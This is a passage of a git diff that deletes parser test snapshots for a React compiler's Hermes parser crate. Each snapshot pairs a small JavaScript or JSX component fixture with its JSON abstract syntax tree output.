-                  "loc": null,
-                  "range": [
-                    117,
-                    128
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                95,
-                132
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              85,
-              132
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    143,
-                    144
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    146,
-                    147
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                142,
-                148
-              ]
-            },
-            "loc": null,
-            "range": [
-              135,
-              149
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          35,
-          151
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        151
-      ],
-      "loc": null,
-      "range": [
-        10,
-        151
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    151
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-scope-missing-mutable-range.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-scope-missing-mutable-range.js.snap
deleted file mode 100644
index 524d954aecb1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro-scope-missing-mutable-range.js.snap
+++ /dev/null
@@ -1,474 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/repro-scope-missing-mutable-range.js
----
-Input:
-function HomeDiscoStoreItemTileRating(props) {
-  const item = useFragment();
-  let count = 0;
-  const aggregates = item?.aggregates || [];
-  aggregates.forEach((aggregate) => {
-    count += aggregate.count || 0;
-  });
-
-  return <Text>{count}</Text>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "HomeDiscoStoreItemTileRating",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          37
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            38,
-            43
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    59
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useFragment",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      62,
-                      73
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    62,
-                    75
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  55,
-                  75
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              49,
-              76
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    83,
-                    88
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    91,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  83,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              79,
-              93
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "aggregates",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    112
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "OptionalMemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        115,
-                        119
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "aggregates",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        121,
-                        131
-                      ]
-                    },
-                    "computed": false,
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      115,
-                      131
-                    ]
-                  },
-                  "right": {
-                    "type": "ArrayExpression",
-                    "elements": [],
-                    "loc": null,
-                    "range": [
-                      135,
-                      137
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    115,
-                    137
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  102,
-                  137
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              96,
-              138
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "aggregates",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    141,
-                    151
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "forEach",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    152,
-                    159
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  141,
-                  159
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "aggregate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        161,
-                        170
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "+=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "count",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              181,
-                              186
-                            ]
-                          },
-                          "right": {
-                            "type": "LogicalExpression",
-                            "operator": "||",
-                            "left": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "aggregate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  190,
-                                  199
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "count",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  200,
-                                  205
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                190,
-                                205
-                              ]
-                            },
-                            "right": {
-                              "type": "NumericLiteral",
-                              "value": 0.0,
-                              "loc": null,
-                              "range": [
-                                209,
-                                210
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              190,
-                              210
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            181,
-                            210
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          181,
-                          211
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      175,
-                      215
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    160,
-                    215
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    160,
-                    215
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                141,
-                216
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              141,
-              217
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Text",
-                  "loc": null,
-                  "range": [
-                    229,
-                    233
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  228,
-                  234
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "count",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      235,
-                      240
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    234,
-                    241
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Text",
-                  "loc": null,
-                  "range": [
-                    243,
-                    247
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  241,
-                  248
-                ]
-              },
-              "loc": null,
-              "range": [
-                228,
-                248
-              ]
-            },
-            "loc": null,
-            "range": [
-              221,
-              249
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          45,
-          251
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        251
-      ],
-      "loc": null,
-      "range": [
-        0,
-        251
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    251
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro.js.snap
deleted file mode 100644
index 323bf134813a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@repro.js.snap
+++ /dev/null
@@ -1,684 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/repro.js
----
-Input:
-function Component(props) {
-  const item = props.item;
-  const thumbnails = [];
-  const baseVideos = getBaseVideos(item);
-  useMemo(() => {
-    baseVideos.forEach((video) => {
-      const baseVideo = video.hasBaseVideo;
-      if (Boolean(baseVideo)) {
-        thumbnails.push({ extraVideo: true });
-      }
-    });
-  });
-  return <FlatList baseVideos={baseVideos} items={thumbnails} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "item",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    40
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      48
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "item",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      49,
-                      53
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    43,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              54
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "thumbnails",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    76,
-                    78
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  63,
-                  78
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              57,
-              79
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "baseVideos",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    98
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "getBaseVideos",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      101,
-                      114
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        115,
-                        119
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    101,
-                    120
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  88,
-                  120
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              82,
-              121
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useMemo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  124,
-                  131
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "baseVideos",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                144,
-                                154
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "forEach",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                155,
-                                162
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              144,
-                              162
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "ArrowFunctionExpression",
-                              "id": null,
-                              "params": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "video",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    164,
-                                    169
-                                  ]
-                                }
-                              ],
-                              "body": {
-                                "type": "BlockStatement",
-                                "body": [
-                                  {
-                                    "type": "VariableDeclaration",
-                                    "kind": "const",
-                                    "declarations": [
-                                      {
-                                        "type": "VariableDeclarator",
-                                        "id": {
-                                          "type": "Identifier",
-                                          "name": "baseVideo",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            188,
-                                            197
-                                          ]
-                                        },
-                                        "init": {
-                                          "type": "MemberExpression",
-                                          "object": {
-                                            "type": "Identifier",
-                                            "name": "video",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              200,
-                                              205
-                                            ]
-                                          },
-                                          "property": {
-                                            "type": "Identifier",
-                                            "name": "hasBaseVideo",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              206,
-                                              218
-                                            ]
-                                          },
-                                          "computed": false,
-                                          "loc": null,
-                                          "range": [
-                                            200,
-                                            218
-                                          ]
-                                        },
-                                        "loc": null,
-                                        "range": [
-                                          188,
-                                          218
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      182,
-                                      219
-                                    ]
-                                  },
-                                  {
-                                    "type": "IfStatement",
-                                    "test": {
-                                      "type": "CallExpression",
-                                      "callee": {
-                                        "type": "Identifier",
-                                        "name": "Boolean",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          230,
-                                          237
-                                        ]
-                                      },
-                                      "arguments": [
-                                        {
-                                          "type": "Identifier",
-                                          "name": "baseVideo",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            238,
-                                            247
-                                          ]
-                                        }
-                                      ],
-                                      "loc": null,
-                                      "range": [
-                                        230,
-                                        248
-                                      ]
-                                    },
-                                    "consequent": {
-                                      "type": "BlockStatement",
-                                      "body": [
-                                        {
-                                          "type": "ExpressionStatement",
-                                          "expression": {
-                                            "type": "CallExpression",
-                                            "callee": {
-                                              "type": "MemberExpression",
-                                              "object": {
-                                                "type": "Identifier",
-                                                "name": "thumbnails",
-                                                "typeAnnotation": null,
-                                                "loc": null,
-                                                "range": [
-                                                  260,
-                                                  270
-                                                ]
-                                              },
-                                              "property": {
-                                                "type": "Identifier",
-                                                "name": "push",
-                                                "typeAnnotation": null,
-                                                "loc": null,
-                                                "range": [
-                                                  271,
-                                                  275
-                                                ]
-                                              },
-                                              "computed": false,
-                                              "loc": null,
-                                              "range": [
-                                                260,
-                                                275
-                                              ]
-                                            },
-                                            "arguments": [
-                                              {
-                                                "type": "ObjectExpression",
-                                                "properties": [
-                                                  {
-                                                    "type": "Property",
-                                                    "key": {
-                                                      "type": "Identifier",
-                                                      "name": "extraVideo",
-                                                      "typeAnnotation": null,
-                                                      "loc": null,
-                                                      "range": [
-                                                        278,
-                                                        288
-                                                      ]
-                                                    },
-                                                    "value": {
-                                                      "type": "BooleanLiteral",
-                                                      "value": true,
-                                                      "loc": null,
-                                                      "range": [
-                                                        290,
-                                                        294
-                                                      ]
-                                                    },
-                                                    "kind": "init",
-                                                    "method": false,
-                                                    "shorthand": false,
-                                                    "computed": false,
-                                                    "loc": null,
-                                                    "range": [
-                                                      278,
-                                                      294
-                                                    ]
-                                                  }
-                                                ],
-                                                "loc": null,
-                                                "range": [
-                                                  276,
-                                                  296
-                                                ]
-                                              }
-                                            ],
-                                            "loc": null,
-                                            "range": [
-                                              260,
-                                              297
-                                            ]
-                                          },
-                                          "directive": null,
-                                          "loc": null,
-                                          "range": [
-                                            260,
-                                            298
-                                          ]
-                                        }
-                                      ],
-                                      "loc": null,
-                                      "range": [
-                                        250,
-                                        306
-                                      ]
-                                    },
-                                    "alternate": null,
-                                    "loc": null,
-                                    "range": [
-                                      226,
-                                      306
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  174,
-                                  312
-                                ]
-                              },
-                              "generator": false,
-                              "async": false,
-                              "loc": null,
-                              "range": [
-                                163,
-                                312
-                              ],
-                              "expression": false,
-                              "loc": null,
-                              "range": [
-                                163,
-                                312
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            144,
-                            313
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          314
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      138,
-                      318
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    132,
-                    318
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    132,
-                    318
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                124,
-                319
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              124,
-              320
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "FlatList",
-                  "loc": null,
-                  "range": [
-                    331,
-                    339
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "baseVideos",
-                      "loc": null,
-                      "range": [
-                        340,
-                        350
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "baseVideos",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          352,
-                          362
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        351,
-                        363
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      340,
-                      363
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "items",
-                      "loc": null,
-                      "range": [
-                        364,
-                        369
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "thumbnails",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          371,
-                          381
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        370,
-                        382
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      364,
-                      382
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  330,
-                  385
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                330,
-                385
-              ]
-            },
-            "loc": null,
-            "range": [
-              323,
-              386
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          388
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        388
-      ],
-      "loc": null,
-      "range": [
-        0,
-        388
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    388
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-conditional.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-conditional.js.snap
deleted file mode 100644
index f0b37debb369..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-conditional.js.snap
+++ /dev/null
@@ -1,173 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/return-conditional.js
----
-Input:
-function foo(a, b) {
-  if (a == null) {
-    return null;
-  } else {
-    return b;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  27,
-                  28
-                ]
-              },
-              "operator": "==",
-              "right": {
-                "type": "NullLiteral",
-                "loc": null,
-                "range": [
-                  32,
-                  36
-                ]
-              },
-              "loc": null,
-              "range": [
-                27,
-                36
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      51,
-                      55
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    44,
-                    56
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                38,
-                60
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      79,
-                      80
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    72,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                66,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              23,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        87
-      ],
-      "loc": null,
-      "range": [
-        0,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-undefined.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-undefined.js.snap
deleted file mode 100644
index cea04d48d68a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@return-undefined.js.snap
+++ /dev/null
@@ -1,176 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/return-undefined.js
----
-Input:
-function Component(props) {
-  if (props.cond) {
-    return undefined;
-  }
-  return props.value;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  40,
-                  44
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                34,
-                44
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": {
-                    "type": "Identifier",
-                    "name": "undefined",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      68
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    52,
-                    69
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                73
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              30,
-              73
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  83,
-                  88
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "value",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  89,
-                  94
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                83,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              76,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reverse-postorder.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reverse-postorder.js.snap
deleted file mode 100644
index 3e2e9fa4e2d4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reverse-postorder.js.snap
+++ /dev/null
@@ -1,706 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reverse-postorder.js
----
-Input:
-function Component(props) {
-  let x;
-  if (props.cond) {
-    switch (props.test) {
-      case 0: {
-        x = props.v0;
-        break;
-      }
-      case 1: {
-        x = props.v1;
-        break;
-      }
-      case 2: {
-      }
-      default: {
-        x = props.v2;
-      }
-    }
-  } else {
-    if (props.cond2) {
-      x = props.b;
-    } else {
-      x = props.c;
-    }
-  }
-  x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  34,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              36
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  48
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  49,
-                  53
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                43,
-                53
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "SwitchStatement",
-                  "discriminant": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
